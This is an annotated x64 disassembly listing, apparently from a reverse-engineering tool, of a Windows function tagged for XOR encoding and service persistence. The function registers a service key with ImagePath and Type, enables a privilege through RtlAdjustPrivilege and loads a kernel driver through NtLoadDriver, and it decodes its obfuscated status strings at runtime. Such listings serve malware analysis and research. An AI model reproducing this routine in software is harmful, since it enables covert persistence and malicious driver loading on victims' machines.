Function at 0x140016c40
Capabilities:
Encode data using xor
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x1400ca040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rbp + 0x30]
call fcn.140010750
nop
movabs rsi, 0x7ffffffffffffffe
mov rax, rsi
mov rcx, qword [rbp + 0x40]
sub rax, rcx
cmp rax, 0x22
jb 0x140017a35
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.140015510
nop
mov rcx, qword [rdi + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, 4
jb 0x140017a3b
cmp qword [rdi + 0x18], 7
jbe 0x140016cf2
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 4
lea r9, [0x1400b2858]
lea rcx, [rbp + 0x50]
call fcn.140015510
nop
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x140016ef5
movups xmm0, xmmword [0x1400b2940]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1400b2950]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400b2958]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x1400b295c]
mov byte [rsp + 0x6c], al
cmp dword [0x1400ca088], 2
jl 0x140016eb1
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140016db1
cmp ebx, 0x1d
jge 0x140016eeb
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, bl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x140016ec0
lea rdx, [rsp + 0x50]
jmp 0x1400170f0
mov eax, dword [rbp + 0x60]
add eax, eax
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rcx, qword [rbp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x14001715f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1400b2b50]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400b2b60]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x1400b2b70]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400b2b78]
mov dword [rsp + 0x78], eax
cmp dword [0x1400ca088], 2
jl 0x1400170b0
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140016fb0
cmp ebx, 0x2c
jge 0x1400170eb
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, bl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2c
jl 0x1400170c0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140014d90
lea rdx, [0x140015000]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor dil, dil
lea rcx, [rbp + 0x50]
call fcn.140006fb0
nop
lea rcx, [rbp + 0x90]
call fcn.140006fb0
nop
lea rcx, [rbp + 0x30]
call fcn.140006fb0
movzx eax, dil
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14009c500
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov dword [rsp + 0x28], 4
lea rax, [0x1400b2b7c]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x140017355
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1400b2b28]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400b2b38]
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x1400b2b48]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400b2b4c]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1400b2b4e]
mov byte [rsp + 0x76], al
cmp dword [0x1400ca088], 2
jl 0x140017310
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140017210
cmp ebx, 0x27
jge 0x14001734b
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, bl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x140017320
lea rdx, [rsp + 0x50]
jmp 0x1400170f0
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x1400a4ea0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rax, rax
je 0x14001710c
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.NtLoadDriver
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea r9, [rbp + 0x28]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call rdi
test eax, eax
jns 0x140017584
movups xmm0, xmmword [str.wSGUY]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b2ad0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400b2ae0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400b2af0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400b2b00]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400b2b10]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x1400b2b20]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1400b2b24]
mov byte [rbp - 0x1c], al
cmp dword [0x1400ca088], 2
jl 0x140017541
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x60
jl 0x140017441
cmp ebx, 0x65
jge 0x14001757b
movsxd rax, ebx
lea r8, [rbp - 0x80]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, bl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x65
jl 0x140017550
lea rdx, [rbp - 0x80]
jmp 0x1400170f0
mov rcx, qword [rbp + 0x40]
sub rsi, rcx
cmp rsi, 0x34
jb 0x140017a2f
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.140015510
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0xb0]
call r14
mov edi, eax
cmp eax, 0xc0000603
jne 0x140017a22
movups xmm0, xmmword [str.j_RDESEe]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b2a30]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400b2a40]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400b2a50]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400b2a60]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400b2a70]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400b2a80]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400b2a90]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400b2aa0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400b2ab0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400b2ab8]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400b2abc]
mov word [rbp + 0x1c], ax
movzx eax, byte [0x1400b2abe]
mov byte [rbp + 0x1e], al
mov ecx, ebx
mov esi, dword [0x1400ca088]
cmp esi, 2
jl 0x1400177d8
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x98
jl 0x1400176d0
cmp ecx, 0x9f
jge 0x140017810
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x9f
jl 0x1400177e2
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140014d90
lea rdx, [0x140015000]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movups xmm0, xmmword [0x1400b2960]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b2970]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400b2980]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400b2990]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400b29a0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400b29b0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400b29c0]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400b29d0]
movsd qword [rbp - 0x10], xmm0
cmp esi, 2
jl 0x1400179be
movdqa xmm5, xmmword [0x1400b7fa0]
movdqa xmm4, xmmword [0x1400b8090]
movdqa xmm6, xmmword [0x1400b7fd0]
movdqa xmm0, xmmword [0x1400b80e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8080]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x78
jl 0x1400178c1
jmp 0x1400179ed
lea r8, [rbp - 0x80]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, bl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x78
jl 0x1400179c2
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140014d90
lea rdx, [0x140015000]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
shr edi, 0x1f
xor dil, 1
lea rcx, [rbp + 0x70]
call fcn.140006fb0
jmp 0x14001710f
cmp edi, 0xc000010e
jne 0x140017a0d
mov dil, 1
jmp 0x140017a14
call fcn.1400029a0
nop
call fcn.1400029a0
nop
call fcn.1400029a0
int3